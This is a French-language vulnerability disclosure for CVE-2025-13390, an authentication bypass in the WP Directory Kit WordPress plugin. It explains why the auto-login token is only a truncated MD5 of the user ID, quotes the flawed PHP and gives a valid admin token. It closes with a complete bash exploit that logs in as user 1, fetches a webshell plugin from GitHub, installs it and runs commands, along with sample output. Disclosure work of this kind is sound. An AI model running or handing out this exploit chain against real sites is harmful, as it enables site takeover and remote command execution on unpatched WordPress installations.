
WP Directory Kit <= 1.4.4 - Contournement de l'authentification menant à une élévation de privilèges via prise de contrôle de compte
Le plugin WP Directory Kit pour Wordpress versions 1.4.4 et antérieures contient un contournement de l'authentification dans sa fonctionnalité de connexion automatique. La vulnérabilité permet à des attaquants non authentifiés d'obtenir un accès administratif aux sites WordPress en exploitant un mécanisme de génération de jeton cryptographiquement défaillant. La fonctionnalité de connexion automatique ne peut pas être désactivée et utilise un jeton prévisible dérivé uniquement du hash MD5 de l'identifiant utilisateur.
Le fichier CVE-2025-13390.sh téléverse un plugin webshell sur un site cible en partant du principe que l'identifiant utilisateur 1 est un administrateur.
./CVE-2025-13390.sh
[*] Step 1: Auto-login and save cookies...
[+] Auto-login successful
[*] Step 2: Getting nonce from plugin-install.php...
[+] Install Nonce: a2c0ae384b
[*] Step 3: Downloading plugin from GitHub...
[*] Step 4: Extracting and repackaging plugin (WordPress needs plugin dir at ZIP root)...
[+] Plugin repackaged
[*] Step 5: Uploading plugin...
[+] Plugin installed successfully
[*] Step 6: Testing webshell...
[*] Making request to: http://techcorp.cc/wp-content/plugins/wp_webshell/wp_webshell.php?cmd=id
[+] Webshell is accessible!
[+] Response:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] Cleanup complete
Le plugin WP Directory Kit implémente une fonctionnalité de connexion automatique qui permet aux utilisateurs de s'authentifier sans saisir d'identifiants en visitant une URL contenant les paramètres user_id et token. Cette fonctionnalité est destinée aux scénarios de connexion sans mot de passe, par exemple lorsque de nouveaux utilisateurs sont créés automatiquement et reçoivent des liens de connexion par e-mail.
La vulnérabilité se situe dans la logique de génération et de validation du jeton, présente dans deux fichiers :
application/helpers/Basic.php:5132-5137) :function wdk_generate_auto_login_link( $user_id = null ) {
$token = substr(md5($user_id).NONCE_KEY.'wpdirectorykit',0,10);
$login_url = site_url( "/?auto-login=1&user_id={$user_id}&token={$token}" );
return $login_url;
}
actions.php:116-130) :add_action( 'init', function () {
if (substr_count($_SERVER['REQUEST_URI'], 'auto-login') && isset( $_GET['user_id'], $_GET['token'] ) ) {
$user_id = (int) $_GET['user_id'];
$token = sanitize_text_field( $_GET['token'] );
if ( $token == substr(md5($user_id).NONCE_KEY.'wpdirectorykit',0,10)) {
wp_set_auth_cookie( $user_id );
wp_redirect( home_url() );
exit;
} else {
wp_die( 'Wrong token.' );
}
}
});
La génération du jeton contient un défaut cryptographique critique. Le code tente de créer un jeton en :
md5($user_id) - qui produit une chaîne hexadécimale de 32 caractèresNONCE_KEY (une constante WordPress, généralement de 64 caractères)'wpdirectorykit'substr(..., 0, 10)Étant donné que md5($user_id) fait 32 caractères et que la fonction ne prend que les 10 premiers caractères, le jeton devient simplement les 10 premiers caractères du hash md5.
substr(md5($user_id), 0, 10)
Par exemple, pour user_id = 1 :
md5(1) = "c4ca4238a0b923820dcc509a6f75849b" (32 caractères hexadécimaux)substr(md5(1).NONCE_KEY.'wpdirectorykit', 0, 10) = "c4ca4238a0" (10 premiers caractères du MD5 uniquement)La constante NONCE_KEY, censée apporter une sécurité cryptographique, est totalement inutile car elle apparaît après les 10 premiers caractères du hash MD5.
Remarque : Dans les installations WordPress, le premier utilisateur créé (avec user_id = 1) est presque toujours un administrateur. D'autres identifiants d'utilisateurs administratifs peuvent être énumérés et utilisés à la place si nécessaire.
La fonctionnalité de connexion automatique est codée en dur dans le fichier actions.php du plugin et est toujours active lorsque le plugin est activé. Il n'existe aucune option de configuration ni paramètre permettant de désactiver cette fonctionnalité. Les liens de connexion automatique sont générés et envoyés dans les modèles d'e-mail (voir application/views/email/new_user_auto_created.php:55), mais le point de terminaison lui-même est toujours accessible, quels que soient les paramètres d'e-mail.
Lorsqu'un attaquant envoie une requête au point de terminaison de connexion automatique avec un jeton valide (par exemple /?auto-login=1&user_id=1&token=c4ca4238a0), le code vulnérable dans actions.php:123 appelle la fonction wp_set_auth_cookie() de WordPress. Cette fonction établit une session authentifiée en définissant les cookies d'authentification WordPress dans la réponse HTTP. Ces cookies comprennent :
wordpress_logged_in_[hash] - Contient l'identifiant utilisateur et les informations d'authentificationwordpress_[hash] - Contient le cookie d'authentification pour la zone d'administrationUne fois ces cookies définis, le navigateur (ou le script) de l'attaquant est traité comme une session authentifiée pour l'utilisateur spécifié.
Avec ces cookies administratifs, l'attaquant peut installer des plugins malveillants, créer des utilisateurs administrateurs, ce qui aboutit à une compromission totale du site.
Le script suivant démontre une chaîne d'attaque complète qui exploite la vulnérabilité de connexion automatique pour obtenir un accès administratif et installer un webshell :
#!/bin/bash
TARGET="https://examplesite.com"
echo "[*] Step 1: Auto-login and save cookies..."
curl -s -L -c /tmp/wdk_cookies.txt "$TARGET/?auto-login=1&user_id=1&token=c4ca4238a0" > /dev/null
echo "[+] Auto-login successful"
echo "[*] Step 2: Getting nonce from plugin-install.php..."
INSTALL_NONCE=$(curl -s -b /tmp/wdk_cookies.txt "$TARGET/wp-admin/plugin-install.php" | grep -oP 'name="_wpnonce" value="\K[^"]+' | head -1)
echo "[+] Install Nonce: $INSTALL_NONCE"
echo "[*] Step 3: Downloading plugin from GitHub..."
curl -s -L "https://github.com/XK3NF4/webshell-plugin-wordpress/archive/refs/heads/main.zip" -o /tmp/webshell_github.zip
echo "[*] Step 4: Extracting and repackaging plugin (WordPress needs plugin dir at ZIP root)..."
cd /tmp
unzip -q -o webshell_github.zip
# The GitHub ZIP has: webshell-plugin-wordpress-main/wp_webshell/
# WordPress needs: wp_webshell/ at the root
cd webshell-plugin-wordpress-main
zip -q -r /tmp/webshell.zip wp_webshell/
cd /tmp
rm -rf webshell-plugin-wordpress-main webshell_github.zip
echo "[+] Plugin repackaged"
echo "[*] Step 5: Uploading plugin..."
UPLOAD_RESPONSE=$(curl -s -L -b /tmp/wdk_cookies.txt -c /tmp/wdk_cookies.txt \
-F "_wpnonce=$INSTALL_NONCE" \
-F "pluginzip=@/tmp/webshell.zip" \
-F "install-plugin-submit=Install Now" \
"$TARGET/wp-admin/update.php?action=upload-plugin")
if echo "$UPLOAD_RESPONSE" | grep -qi "installed successfully\|Plugin installed"; then
echo "[+] Plugin installed successfully"
else
echo "[-] Installation may have failed. Checking response..."
echo "$UPLOAD_RESPONSE" | grep -i "error\|fail" | head -5
fi
echo "[*] Step 6: Testing webshell..."
WEBSHELL_URL="$TARGET/wp-content/plugins/wp_webshell/wp_webshell.php?cmd=id"
echo "[*] Making request to: $WEBSHELL_URL"
WEBSHELL_RESPONSE=$(curl -s "$WEBSHELL_URL")
if [ -n "$WEBSHELL_RESPONSE" ]; then
echo "[+] Webshell is accessible!"
echo "[+] Response:"
echo "$WEBSHELL_RESPONSE"
else
echo "[-] Webshell may not be accessible or returned empty response"
fi
# Cleanup
rm -f /tmp/webshell.zip
echo "[*] Cleanup complete"